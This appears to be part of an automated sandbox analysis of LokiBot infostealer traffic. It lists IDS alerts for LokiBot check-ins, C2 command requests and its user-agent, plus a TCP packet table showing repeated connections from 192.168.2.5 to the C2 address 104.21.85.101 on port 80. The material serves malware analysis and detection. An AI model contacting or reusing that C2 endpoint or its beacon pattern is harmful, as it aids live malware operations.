05/27/24-02:58:09.186594	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49791	80	192.168.2.5	104.21.85.101
05/27/24-02:57:20.475127	TCP	2025381	ET TROJAN LokiBot Checkin	49740	80	192.168.2.5	104.21.85.101
05/27/24-02:58:12.860512	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49795	80	192.168.2.5	104.21.85.101
05/27/24-02:58:43.411668	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49826	80	192.168.2.5	104.21.85.101
05/27/24-02:57:34.740166	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49754	80	192.168.2.5	104.21.85.101
05/27/24-02:56:57.681674	TCP	2025381	ET TROJAN LokiBot Checkin	49710	80	192.168.2.5	104.21.85.101
05/27/24-02:58:08.266294	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49790	80	192.168.2.5	104.21.85.101
05/27/24-02:57:19.638609	TCP	2025381	ET TROJAN LokiBot Checkin	49739	80	192.168.2.5	104.21.85.101
05/27/24-02:57:47.148785	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49766	80	192.168.2.5	104.21.85.101
05/27/24-02:58:08.266294	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49790	80	192.168.2.5	104.21.85.101
05/27/24-02:58:43.411668	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49826	80	192.168.2.5	104.21.85.101
05/27/24-02:58:44.306693	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49827	80	192.168.2.5	104.21.85.101
05/27/24-02:58:09.186594	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49791	80	192.168.2.5	104.21.85.101
05/27/24-02:58:51.977503	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49834	80	192.168.2.5	104.21.85.101
05/27/24-02:58:03.699908	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49785	80	192.168.2.5	104.21.85.101
05/27/24-02:57:50.878814	TCP	2025381	ET TROJAN LokiBot Checkin	49771	80	192.168.2.5	104.21.85.101
05/27/24-02:57:26.436407	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49745	80	192.168.2.5	104.21.85.101
05/27/24-02:58:48.820321	TCP	2025381	ET TROJAN LokiBot Checkin	49832	80	192.168.2.5	104.21.85.101
05/27/24-02:57:23.648663	TCP	2025381	ET TROJAN LokiBot Checkin	49743	80	192.168.2.5	104.21.85.101
05/27/24-02:58:13.812339	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49796	80	192.168.2.5	104.21.85.101
05/27/24-02:56:54.907197	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49707	80	192.168.2.5	104.21.85.101
05/27/24-02:57:30.108861	TCP	2025381	ET TROJAN LokiBot Checkin	49749	80	192.168.2.5	104.21.85.101
05/27/24-02:57:52.944507	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49773	80	192.168.2.5	104.21.85.101
05/27/24-02:57:58.296639	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49779	80	192.168.2.5	104.21.85.101
05/27/24-02:56:54.048379	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49706	80	192.168.2.5	104.21.85.101
05/27/24-02:56:54.048379	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49706	80	192.168.2.5	104.21.85.101
05/27/24-02:58:03.699908	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49785	80	192.168.2.5	104.21.85.101
05/27/24-02:58:36.335492	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49818	80	192.168.2.5	104.21.85.101
05/27/24-02:57:41.138153	TCP	2025381	ET TROJAN LokiBot Checkin	49761	80	192.168.2.5	104.21.85.101
05/27/24-02:57:04.194340	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49717	80	192.168.2.5	104.21.85.101
05/27/24-02:58:36.335492	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49818	80	192.168.2.5	104.21.85.101
05/27/24-02:58:41.567295	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49824	80	192.168.2.5	104.21.85.101
05/27/24-02:58:23.686553	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49806	80	192.168.2.5	104.21.85.101
05/27/24-02:58:23.686553	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49806	80	192.168.2.5	104.21.85.101
05/27/24-02:58:47.000038	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49830	80	192.168.2.5	104.21.85.101
05/27/24-02:58:47.000038	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49830	80	192.168.2.5	104.21.85.101
05/27/24-02:57:37.342738	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49757	80	192.168.2.5	104.21.85.101
05/27/24-02:57:15.342998	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49734	80	192.168.2.5	104.21.85.101
05/27/24-02:58:40.730674	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49823	80	192.168.2.5	104.21.85.101
05/27/24-02:57:04.194340	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49717	80	192.168.2.5	104.21.85.101
05/27/24-02:57:39.029387	TCP	2025381	ET TROJAN LokiBot Checkin	49759	80	192.168.2.5	104.21.85.101
05/27/24-02:57:43.888980	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49763	80	192.168.2.5	104.21.85.101
05/27/24-02:57:38.199508	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49758	80	192.168.2.5	104.21.85.101
05/27/24-02:57:03.327854	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49716	80	192.168.2.5	104.21.85.101
05/27/24-02:58:28.412600	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49811	80	192.168.2.5	104.21.85.101
05/27/24-02:58:41.567295	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49824	80	192.168.2.5	104.21.85.101
05/27/24-02:57:15.342998	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49734	80	192.168.2.5	104.21.85.101
05/27/24-02:57:16.316242	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49735	80	192.168.2.5	104.21.85.101
05/27/24-02:57:56.483967	TCP	2025381	ET TROJAN LokiBot Checkin	49777	80	192.168.2.5	104.21.85.101
05/27/24-02:57:54.770134	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49775	80	192.168.2.5	104.21.85.101
05/27/24-02:57:37.342738	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49757	80	192.168.2.5	104.21.85.101
05/27/24-02:57:03.327854	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49716	80	192.168.2.5	104.21.85.101
05/27/24-02:57:54.770134	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49775	80	192.168.2.5	104.21.85.101
05/27/24-02:58:40.730674	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49823	80	192.168.2.5	104.21.85.101
05/27/24-02:56:52.319655	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49704	80	192.168.2.5	104.21.85.101
05/27/24-02:56:54.907197	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49707	80	192.168.2.5	104.21.85.101
05/27/24-02:57:52.944507	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49773	80	192.168.2.5	104.21.85.101
05/27/24-02:58:22.782486	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49805	80	192.168.2.5	104.21.85.101
05/27/24-02:57:49.900695	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49770	80	192.168.2.5	104.21.85.101
05/27/24-02:58:25.471357	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49808	80	192.168.2.5	104.21.85.101
05/27/24-02:58:22.782486	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49805	80	192.168.2.5	104.21.85.101
05/27/24-02:56:53.233272	TCP	2025381	ET TROJAN LokiBot Checkin	49705	80	192.168.2.5	104.21.85.101
05/27/24-02:57:11.985959	TCP	2025381	ET TROJAN LokiBot Checkin	49730	80	192.168.2.5	104.21.85.101
05/27/24-02:58:53.747051	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49836	80	192.168.2.5	104.21.85.101
05/27/24-02:57:25.218772	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49744	80	192.168.2.5	104.21.85.101
05/27/24-02:58:51.174321	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49833	80	192.168.2.5	104.21.85.101
05/27/24-02:58:51.977503	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49834	80	192.168.2.5	104.21.85.101
05/27/24-02:57:28.354051	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49747	80	192.168.2.5	104.21.85.101
05/27/24-02:57:25.218772	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49744	80	192.168.2.5	104.21.85.101
05/27/24-02:58:05.571891	TCP	2025381	ET TROJAN LokiBot Checkin	49787	80	192.168.2.5	104.21.85.101
05/27/24-02:57:16.316242	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49735	80	192.168.2.5	104.21.85.101
05/27/24-02:57:29.208414	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49748	80	192.168.2.5	104.21.85.101
05/27/24-02:58:51.174321	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49833	80	192.168.2.5	104.21.85.101
05/27/24-02:56:55.869978	TCP	2025381	ET TROJAN LokiBot Checkin	49708	80	192.168.2.5	104.21.85.101
05/27/24-02:57:28.354051	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49747	80	192.168.2.5	104.21.85.101
05/27/24-02:58:53.747051	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49836	80	192.168.2.5	104.21.85.101
05/27/24-02:58:04.647547	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49786	80	192.168.2.5	104.21.85.101
05/27/24-02:57:52.045782	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49772	80	192.168.2.5	104.21.85.101
05/27/24-02:57:26.436407	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49745	80	192.168.2.5	104.21.85.101
05/27/24-02:57:13.622626	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49732	80	192.168.2.5	104.21.85.101
05/27/24-02:58:38.993699	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49821	80	192.168.2.5	104.21.85.101
05/27/24-02:57:12.795525	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49731	80	192.168.2.5	104.21.85.101
05/27/24-02:57:14.514493	TCP	2025381	ET TROJAN LokiBot Checkin	49733	80	192.168.2.5	104.21.85.101
05/27/24-02:58:07.399031	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49789	80	192.168.2.5	104.21.85.101
05/27/24-02:58:38.132174	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49820	80	192.168.2.5	104.21.85.101
05/27/24-02:58:39.855398	TCP	2025381	ET TROJAN LokiBot Checkin	49822	80	192.168.2.5	104.21.85.101
05/27/24-02:57:39.944131	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49760	80	192.168.2.5	104.21.85.101
05/27/24-02:58:38.132174	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49820	80	192.168.2.5	104.21.85.101
05/27/24-02:57:12.795525	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49731	80	192.168.2.5	104.21.85.101
05/27/24-02:57:52.045782	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49772	80	192.168.2.5	104.21.85.101
05/27/24-02:58:26.338973	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49809	80	192.168.2.5	104.21.85.101
05/27/24-02:58:25.471357	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49808	80	192.168.2.5	104.21.85.101
05/27/24-02:57:07.503626	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49719	80	192.168.2.5	104.21.85.101
05/27/24-02:57:29.208414	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49748	80	192.168.2.5	104.21.85.101
05/27/24-02:57:07.503626	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49719	80	192.168.2.5	104.21.85.101

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2024 02:56:52.312513113 CEST	49704	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:52.317562103 CEST	80	49704	104.21.85.101	192.168.2.5
May 27, 2024 02:56:52.317651987 CEST	49704	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:52.319654942 CEST	49704	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:52.368638039 CEST	80	49704	104.21.85.101	192.168.2.5
May 27, 2024 02:56:52.368702888 CEST	49704	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:52.373723984 CEST	80	49704	104.21.85.101	192.168.2.5
May 27, 2024 02:56:53.089746952 CEST	80	49704	104.21.85.101	192.168.2.5
May 27, 2024 02:56:53.089977980 CEST	49704	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:53.094388962 CEST	80	49704	104.21.85.101	192.168.2.5
May 27, 2024 02:56:53.094455957 CEST	49704	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:53.140590906 CEST	80	49704	104.21.85.101	192.168.2.5
May 27, 2024 02:56:53.226043940 CEST	49705	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:53.231175900 CEST	80	49705	104.21.85.101	192.168.2.5
May 27, 2024 02:56:53.231259108 CEST	49705	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:53.233272076 CEST	49705	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:53.284951925 CEST	80	49705	104.21.85.101	192.168.2.5
May 27, 2024 02:56:53.285285950 CEST	49705	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:53.290266037 CEST	80	49705	104.21.85.101	192.168.2.5
May 27, 2024 02:56:53.949858904 CEST	80	49705	104.21.85.101	192.168.2.5
May 27, 2024 02:56:53.950040102 CEST	49705	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:53.954638004 CEST	80	49705	104.21.85.101	192.168.2.5
May 27, 2024 02:56:53.954714060 CEST	49705	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:54.000726938 CEST	80	49705	104.21.85.101	192.168.2.5
May 27, 2024 02:56:54.039807081 CEST	49706	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:54.045183897 CEST	80	49706	104.21.85.101	192.168.2.5
May 27, 2024 02:56:54.045420885 CEST	49706	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:54.048378944 CEST	49706	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:54.096757889 CEST	80	49706	104.21.85.101	192.168.2.5
May 27, 2024 02:56:54.096872091 CEST	49706	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:54.101864100 CEST	80	49706	104.21.85.101	192.168.2.5
May 27, 2024 02:56:54.715260983 CEST	80	49706	104.21.85.101	192.168.2.5
May 27, 2024 02:56:54.715780020 CEST	49706	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:54.719912052 CEST	80	49706	104.21.85.101	192.168.2.5
May 27, 2024 02:56:54.719991922 CEST	49706	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:54.768757105 CEST	80	49706	104.21.85.101	192.168.2.5
May 27, 2024 02:56:54.898726940 CEST	49707	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:54.904005051 CEST	80	49707	104.21.85.101	192.168.2.5
May 27, 2024 02:56:54.904280901 CEST	49707	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:54.907196999 CEST	49707	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:54.956741095 CEST	80	49707	104.21.85.101	192.168.2.5
May 27, 2024 02:56:54.956893921 CEST	49707	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:54.966689110 CEST	80	49707	104.21.85.101	192.168.2.5
May 27, 2024 02:56:55.708489895 CEST	80	49707	104.21.85.101	192.168.2.5
May 27, 2024 02:56:55.708655119 CEST	49707	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:55.713155031 CEST	80	49707	104.21.85.101	192.168.2.5
May 27, 2024 02:56:55.713238001 CEST	49707	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:55.760920048 CEST	80	49707	104.21.85.101	192.168.2.5
May 27, 2024 02:56:55.861649990 CEST	49708	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:55.866889000 CEST	80	49708	104.21.85.101	192.168.2.5
May 27, 2024 02:56:55.867022991 CEST	49708	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:55.869977951 CEST	49708	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:55.891875982 CEST	80	49708	104.21.85.101	192.168.2.5
May 27, 2024 02:56:55.898742914 CEST	49708	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:55.955552101 CEST	80	49708	104.21.85.101	192.168.2.5
May 27, 2024 02:56:56.538176060 CEST	80	49708	104.21.85.101	192.168.2.5
May 27, 2024 02:56:56.541887045 CEST	49708	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:56.543682098 CEST	80	49708	104.21.85.101	192.168.2.5
May 27, 2024 02:56:56.543771982 CEST	49708	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:56.592350006 CEST	80	49708	104.21.85.101	192.168.2.5
May 27, 2024 02:56:56.802452087 CEST	49709	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:56.807854891 CEST	80	49709	104.21.85.101	192.168.2.5
May 27, 2024 02:56:56.808006048 CEST	49709	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:56.824671030 CEST	49709	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:56.864959002 CEST	80	49709	104.21.85.101	192.168.2.5
May 27, 2024 02:56:56.865248919 CEST	49709	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:56.870639086 CEST	80	49709	104.21.85.101	192.168.2.5
May 27, 2024 02:56:57.501184940 CEST	80	49709	104.21.85.101	192.168.2.5
May 27, 2024 02:56:57.501656055 CEST	49709	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:57.505911112 CEST	80	49709	104.21.85.101	192.168.2.5
May 27, 2024 02:56:57.505980968 CEST	49709	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:57.552598953 CEST	80	49709	104.21.85.101	192.168.2.5
May 27, 2024 02:56:57.673229933 CEST	49710	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:57.678591967 CEST	80	49710	104.21.85.101	192.168.2.5
May 27, 2024 02:56:57.678714991 CEST	49710	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:57.681674004 CEST	49710	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:57.730161905 CEST	80	49710	104.21.85.101	192.168.2.5
May 27, 2024 02:56:57.730348110 CEST	49710	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:57.735512018 CEST	80	49710	104.21.85.101	192.168.2.5
May 27, 2024 02:56:58.659352064 CEST	80	49710	104.21.85.101	192.168.2.5
May 27, 2024 02:56:58.659765005 CEST	49710	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:58.665517092 CEST	80	49710	104.21.85.101	192.168.2.5
May 27, 2024 02:56:58.665606022 CEST	49710	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:58.712652922 CEST	80	49710	104.21.85.101	192.168.2.5
May 27, 2024 02:56:58.809490919 CEST	49711	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:58.814963102 CEST	80	49711	104.21.85.101	192.168.2.5
May 27, 2024 02:56:58.815095901 CEST	49711	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:58.817935944 CEST	49711	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:58.869062901 CEST	80	49711	104.21.85.101	192.168.2.5
May 27, 2024 02:56:58.869282007 CEST	49711	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:58.874253988 CEST	80	49711	104.21.85.101	192.168.2.5
May 27, 2024 02:56:59.507848024 CEST	80	49711	104.21.85.101	192.168.2.5
May 27, 2024 02:56:59.507972002 CEST	49711	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:59.512520075 CEST	80	49711	104.21.85.101	192.168.2.5
May 27, 2024 02:56:59.512581110 CEST	49711	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:59.559489965 CEST	80	49711	104.21.85.101	192.168.2.5
May 27, 2024 02:56:59.657116890 CEST	49712	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:59.662290096 CEST	80	49712	104.21.85.101	192.168.2.5
May 27, 2024 02:56:59.662381887 CEST	49712	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:59.664329052 CEST	49712	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:59.713223934 CEST	80	49712	104.21.85.101	192.168.2.5
May 27, 2024 02:56:59.713324070 CEST	49712	80	192.168.2.5	104.21.85.101
May 27, 2024 02:56:59.718306065 CEST	80	49712	104.21.85.101	192.168.2.5
May 27, 2024 02:57:00.450532913 CEST	80	49712	104.21.85.101	192.168.2.5
May 27, 2024 02:57:00.450815916 CEST	49712	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:00.455219984 CEST	80	49712	104.21.85.101	192.168.2.5
May 27, 2024 02:57:00.455275059 CEST	49712	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:00.501224995 CEST	80	49712	104.21.85.101	192.168.2.5
May 27, 2024 02:57:00.607683897 CEST	49713	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:00.612828970 CEST	80	49713	104.21.85.101	192.168.2.5
May 27, 2024 02:57:00.612900972 CEST	49713	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:00.615869999 CEST	49713	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:00.665589094 CEST	80	49713	104.21.85.101	192.168.2.5
May 27, 2024 02:57:00.665637970 CEST	49713	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:00.670761108 CEST	80	49713	104.21.85.101	192.168.2.5
May 27, 2024 02:57:01.321350098 CEST	80	49713	104.21.85.101	192.168.2.5
May 27, 2024 02:57:01.326082945 CEST	80	49713	104.21.85.101	192.168.2.5
May 27, 2024 02:57:01.326205969 CEST	49713	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:01.348222017 CEST	49713	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:01.377149105 CEST	80	49713	104.21.85.101	192.168.2.5
May 27, 2024 02:57:01.556698084 CEST	49714	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:01.561892033 CEST	80	49714	104.21.85.101	192.168.2.5
May 27, 2024 02:57:01.561974049 CEST	49714	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:01.572690010 CEST	49714	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:01.612998962 CEST	80	49714	104.21.85.101	192.168.2.5
May 27, 2024 02:57:01.613050938 CEST	49714	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:01.618071079 CEST	80	49714	104.21.85.101	192.168.2.5
May 27, 2024 02:57:02.255939960 CEST	80	49714	104.21.85.101	192.168.2.5
May 27, 2024 02:57:02.256061077 CEST	49714	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:02.260658979 CEST	80	49714	104.21.85.101	192.168.2.5
May 27, 2024 02:57:02.260708094 CEST	49714	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:02.308562040 CEST	80	49714	104.21.85.101	192.168.2.5
May 27, 2024 02:57:02.410670042 CEST	49715	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:02.415793896 CEST	80	49715	104.21.85.101	192.168.2.5
May 27, 2024 02:57:02.415914059 CEST	49715	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:02.427081108 CEST	49715	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:02.468693018 CEST	80	49715	104.21.85.101	192.168.2.5
May 27, 2024 02:57:02.469031096 CEST	49715	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:02.473887920 CEST	80	49715	104.21.85.101	192.168.2.5
May 27, 2024 02:57:03.154740095 CEST	80	49715	104.21.85.101	192.168.2.5
May 27, 2024 02:57:03.154906988 CEST	49715	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:03.159415960 CEST	80	49715	104.21.85.101	192.168.2.5
May 27, 2024 02:57:03.159478903 CEST	49715	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:03.208559036 CEST	80	49715	104.21.85.101	192.168.2.5
May 27, 2024 02:57:03.314008951 CEST	49716	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:03.319175959 CEST	80	49716	104.21.85.101	192.168.2.5
May 27, 2024 02:57:03.319256067 CEST	49716	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:03.327853918 CEST	49716	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:03.372840881 CEST	80	49716	104.21.85.101	192.168.2.5
May 27, 2024 02:57:03.372904062 CEST	49716	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:03.377851963 CEST	80	49716	104.21.85.101	192.168.2.5
May 27, 2024 02:57:04.029386997 CEST	80	49716	104.21.85.101	192.168.2.5
May 27, 2024 02:57:04.029488087 CEST	49716	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:04.034157038 CEST	80	49716	104.21.85.101	192.168.2.5
May 27, 2024 02:57:04.034228086 CEST	49716	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:04.079363108 CEST	80	49716	104.21.85.101	192.168.2.5
May 27, 2024 02:57:04.185394049 CEST	49717	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:04.191138983 CEST	80	49717	104.21.85.101	192.168.2.5
May 27, 2024 02:57:04.191251040 CEST	49717	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:04.194339991 CEST	49717	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:04.244729042 CEST	80	49717	104.21.85.101	192.168.2.5
May 27, 2024 02:57:04.244805098 CEST	49717	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:04.249749899 CEST	80	49717	104.21.85.101	192.168.2.5
May 27, 2024 02:57:04.953733921 CEST	80	49717	104.21.85.101	192.168.2.5
May 27, 2024 02:57:04.958506107 CEST	80	49717	104.21.85.101	192.168.2.5
May 27, 2024 02:57:04.958635092 CEST	49717	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:04.983184099 CEST	49717	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:05.013298035 CEST	80	49717	104.21.85.101	192.168.2.5
May 27, 2024 02:57:05.179474115 CEST	49718	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:05.184751987 CEST	80	49718	104.21.85.101	192.168.2.5
May 27, 2024 02:57:05.184853077 CEST	49718	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:05.187814951 CEST	49718	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:05.236850977 CEST	80	49718	104.21.85.101	192.168.2.5
May 27, 2024 02:57:05.236978054 CEST	49718	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:05.241995096 CEST	80	49718	104.21.85.101	192.168.2.5
May 27, 2024 02:57:05.876110077 CEST	80	49718	104.21.85.101	192.168.2.5
May 27, 2024 02:57:05.880733013 CEST	80	49718	104.21.85.101	192.168.2.5
May 27, 2024 02:57:05.880896091 CEST	49718	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:07.138566017 CEST	49718	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:07.143817902 CEST	80	49718	104.21.85.101	192.168.2.5
May 27, 2024 02:57:07.496299982 CEST	49719	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:07.501509905 CEST	80	49719	104.21.85.101	192.168.2.5
May 27, 2024 02:57:07.501593113 CEST	49719	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:07.503626108 CEST	49719	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:07.552687883 CEST	80	49719	104.21.85.101	192.168.2.5
May 27, 2024 02:57:07.552756071 CEST	49719	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:07.558058023 CEST	80	49719	104.21.85.101	192.168.2.5
May 27, 2024 02:57:08.177527905 CEST	80	49719	104.21.85.101	192.168.2.5
May 27, 2024 02:57:08.177799940 CEST	49719	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:08.182444096 CEST	80	49719	104.21.85.101	192.168.2.5
May 27, 2024 02:57:08.182519913 CEST	49719	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:08.192210913 CEST	80	49719	104.21.85.101	192.168.2.5
May 27, 2024 02:57:08.398608923 CEST	49721	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:08.403863907 CEST	80	49721	104.21.85.101	192.168.2.5
May 27, 2024 02:57:08.403980017 CEST	49721	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:08.406183004 CEST	49721	80	192.168.2.5	104.21.85.101
